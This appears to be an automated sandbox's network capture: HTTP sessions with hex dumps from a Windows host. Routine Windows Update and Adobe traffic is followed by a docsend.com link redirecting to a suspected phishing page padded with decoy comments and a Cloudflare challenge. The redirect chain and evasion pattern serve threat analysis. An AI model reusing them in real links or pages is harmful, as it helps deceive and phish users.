2024-11-20 14:41:17 UTC	533	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=7462 Date: Wed, 20 Nov 2024 14:41:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 14:41:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49708	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:41:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k9GkFTxurRhaHUw&MD=av3dhBMG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 14:41:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1d20f43c-adb0-4981-806b-e3a7454d50ad MS-RequestId: c712f56a-b653-44e9-9a33-97b56cf0677d MS-CV: dtodpokKlEGDNR7C.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 14:41:18 GMT Connection: close Content-Length: 24490
2024-11-20 14:41:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 14:41:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49716	23.56.162.204	443	3600	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:41:29 UTC	390	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br
2024-11-20 14:41:30 UTC	247	IN	HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Accept-Ranges: bytes Content-Length: 120 Content-Type: text/plain; charset=UTF-8 Date: Wed, 20 Nov 2024 14:41:30 GMT Connection: close
2024-11-20 14:41:30 UTC	120	IN	Data Raw: 46 69 6c 65 20 74 68 61 74 20 61 63 74 73 20 6c 69 6b 65 20 61 20 4b 69 6c 6c 20 73 77 69 74 63 68 20 66 6f 72 20 53 4d 53 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 69 6e 20 52 65 61 64 65 72 2e 20 44 65 6c 65 74 65 20 74 68 69 73 20 66 69 6c 65 20 74 6f 20 65 6e 61 62 6c 65 20 74 68 65 20 6b 69 6c 6c 20 73 77 69 74 63 68 20 69 6e 20 52 65 61 64 65 72 2e Data Ascii: File that acts like a Kill switch for SMS functionality in Reader. Delete this file to enable the kill switch in Reader.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49719	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:41:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k9GkFTxurRhaHUw&MD=av3dhBMG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 14:41:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 093f1b0b-7cda-44fb-8065-ece3d3388911 MS-RequestId: b7a0a810-5673-4d34-9b93-54de035d1c93 MS-CV: CzPidMdhw0KMwz9r.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 14:41:56 GMT Connection: close Content-Length: 30005
2024-11-20 14:41:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 14:41:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49726	3.160.188.127	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:37 UTC	675	OUT	GET /view/dsvnm326mjtbt7np HTTP/1.1 Host: docsend.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:38 UTC	5917	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: Cowboy Date: Wed, 20 Nov 2024 14:42:37 GMT Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1732113757&sid=af571f24-03ee-46d1-9f90-ab9030c2c74c&s=%2BsI%2B7alswpVh2R0gxbs92egNMJRpJnjtaJW9PFEpGbk%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1732113757&sid=af571f24-03ee-46d1-9f90-ab9030c2c74c&s=%2BsI%2B7alswpVh2R0gxbs92egNMJRpJnjtaJW9PFEpGbk%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Via: 1.1 vegur, 1.1 caebf714ea51c76c24bef1154a06d3a8.cloudfront.net (CloudFront) X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 X-Content-Type-Options: nosniff X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none Referrer-Policy: strict-origin-when-cross-origin Location: https://abbcc.appforconstruction.com/cGYxp Cache-Control: no-cache Content-Security-Policy: connect-src 'self' blob: https://assets.docsend.com https://d1ng9lshxk6v9w.cloudfront.net https://.previews.dropboxusercontent.com//p.m3u8 https://.dropboxusercontent.com https://api.intercom.io https://api-iam.intercom.io https://api-ping.intercom.io https://nexus-websocket-a.intercom.io https://nexus-websocket-b.intercom.io https://nexus-long-poller-a.intercom.io https://nexus-long-poller-b.intercom.io wss://nexus-websocket-a.intercom.io wss://nexus-websocket-b.intercom.io https://.intercomcdn.com https://uploads.intercomusercontent.com https://sessions.bugsnag.com https://notify.bugsnag.com https://featuregates.org https://events.statsigapi.net https://browser-intake-datadoghq.com https://browser-intake-us3-datadoghq.com https://browser-intake-us5-datadoghq.com https://.kissmetrics.com https://.kissmetrics.io https://api.segment.io https://cdn.segment.com https://events.statsigapi.net/v1/rgstr https://statsigapi.net/v1/sdk_exception https://*.id.opendns.com https://www.googl [TRUNCATED] Set-Cookie: _v_=4EaKt5KvNxoXkZfXaGq%2B7TIytunD3%2FHoveGIdPmSCjIjHeeWycIH%2FC4%2BAlxzVwvmU2tmd8KYSgNFokaHHt63uOIkCdOmgFBgi7BL8IrMDv1SN%2BXhdw%3D%3D--suGaUMN72fm5S8zA--B6ZuFFy5fJxvWjiEh%2BXfAQ%3D%3D; domain=.docsend.com; path=/; expires=Thu, 20 Nov 2025 14:42:37 GMT; SameSite=None; secure Set-Cookie: _us_=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkluWnBaWGRsWkNCa2IyTWkiLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5fdXNfIn19--d99e89135b29409ec95f7b01021ec543a463b2ba; domain=.docsend.com; path=/; expires=Sun, 20 Nov 2044 14:42:38 GMT; SameSite=None; secure Set-Cookie: _dss_=c830dc14a6e344940b66654a0d08e33f; domain=.docsend.com; path=/; secure; HttpOnly; SameSite=None X-Request-Id: 178d08a6-f61d-43f7-bfb1-73d309bbcfc7 X-Runtime: 0.074034 Vary: Accept-Encoding, Origin Strict-Transport-Security: max-age=31556952; includeSubDomains; preload X-Cache: Miss from cloudfront X-Amz-Cf-Pop: MRS52-P5 X-Amz-Cf-Id: SKFMnnx-vRJtb5t8AfUZasSzT8UJMKmLOKgt2rJk9h75DXlduBTtYA==
2024-11-20 14:42:38 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 62 63 63 2e 61 70 70 66 6f 72 63 6f 6e 73 74 72 75 63 74 69 6f 6e 2e 63 6f 6d 2f 63 47 59 78 70 22 3e 72 65 64 69 72 65 63 74 65 64 3c 2f 61 3e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 6c<html><body>You are being <a href="https://abbcc.appforconstruction.com/cGYxp">redirected</a>.</body></html>
2024-11-20 14:42:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49729	172.67.195.135	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:41 UTC	676	OUT	GET /cGYxp HTTP/1.1 Host: abbcc.appforconstruction.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:42 UTC	862	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 14:42:42 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://abbcc.appforconstruction.com/cGYxp/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zCpFDlX0aOxB4HZzNmzUVeZ%2F2XCF%2FUhI5pptLyRWpBp8MSjqt8%2Fi%2FyHeo%2BWF7YoXoA4cGrC7NH7HZ%2BX8wgFj4wEbbmSXLCVfz8%2BdAlwW3s7lx%2FikLeAXI9VZxIcTcvFPUMLfVgHrI4sKfYLMSTe0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5935429885424f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1254&delivery_rate=1760096&cwnd=230&unsent_bytes=0&cid=b3379ec124c3de6e&ts=1177&x=0"
2024-11-20 14:42:42 UTC	257	IN	Data Raw: 66 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 62 63 63 2e 61 70 70 66 6f 72 63 6f 6e 73 74 72 75 63 74 69 6f 6e 2e 63 6f 6d 2f 63 47 59 78 70 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: fb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://abbcc.appforconstruction.com/cGYxp/">here</a>.</p></body></html>
2024-11-20 14:42:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49732	172.67.195.135	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:45 UTC	677	OUT	GET /cGYxp/ HTTP/1.1 Host: abbcc.appforconstruction.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:46 UTC	975	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=m5gmg4i7uet7umfcjh37ca7utv; path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VjmQdr51MiZSwWwfdRhOrNzdZgq%2F%2BItZnGcNBSUviYrZEmCdr6eZAaZxHXfWqqCuBIkgYwdXhALijvSGIaMnKqVQ5aenBUMor68vm%2FhgxOD9%2Fm5xyLn2CtxBseNvN3FT8DD6z1GsDBGJhMsDrY%2FF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e593559fcc6188d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4254&recv_bytes=1255&delivery_rate=325275&cwnd=156&unsent_bytes=0&cid=e7ed1adf316aebd4&ts=1075&x=0"
2024-11-20 14:42:46 UTC	394	IN	Data Raw: 61 34 63 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 6c 69 76 65 53 70 72 6f 75 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 67 61 72 64 65 6e 65 72 20 63 75 72 61 74 65 64 20 6e 61 74 69 76 65 20 70 6c 61 6e 74 73 20 66 6f 72 20 65 63 6f 6c 6f 67 69 63 61 6c 20 68 61 72 6d 6f 6e 79 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 Data Ascii: a4c <html lang="en"> <head> <meta charset="UTF-8"> <title>OliveSprout</title> ... <span>The gardener curated native plants for ecological harmony.</span> --> <meta name="robots" content="noindex, nofollow">
2024-11-20 14:42:46 UTC	1369	IN	Data Raw: 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 54 68 65 20 6d 75 73 69 63 69 61 6e 20 63 6f 6c 6c 61 62 6f 72 61 74 65 64 20 77 69 74 68 20 76 6f 63 61 6c 69 73 74 73 20 6f 6e 20 68 61 72 6d 6f 6e 69 6f 75 73 20 64 75 65 74 73 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 Data Ascii: v0/api.js"></script> ... <p>The musician collaborated with vousersts on harmonious duets.</p> --> <style> body { font-family: Arial, sans-serif } .container { margin-top
2024-11-20 14:42:46 UTC	880	IN	Data Raw: 4c 30 51 66 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 56 69 6f 6c 65 74 4c 65 61 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 62 6f 74 61 6e 69 73 74 20 73 74 75 64 69 65 64 20 70 6f 6c 6c 69 6e 61 74 69 6f 6e 20 77 69 74 68 69 6e 20 66 6c 6f 77 65 72 69 6e 67 20 73 70 65 63 69 65 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 74 2d 32 20 74 65 78 74 2d 6d 75 74 65 Data Ascii: L0Qf" data-callback="VioletLeaf"> </span> </form>... <span>The botanist studied pollination within flowering species.</span> --> </div> <div class="mt-2 text-mute
2024-11-20 14:42:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49733	104.18.95.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:47 UTC	556	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:48 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 20 Nov 2024 14:42:48 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/22755d9a86c9/api.js Server: cloudflare CF-RAY: 8e59356a3bde433f-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49734	104.18.95.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:49 UTC	571	OUT	GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:49 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Mon, 28 Oct 2024 19:08:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e5935750fcc0f5f-EWR alt-svc: h3=":443"; ma=86400
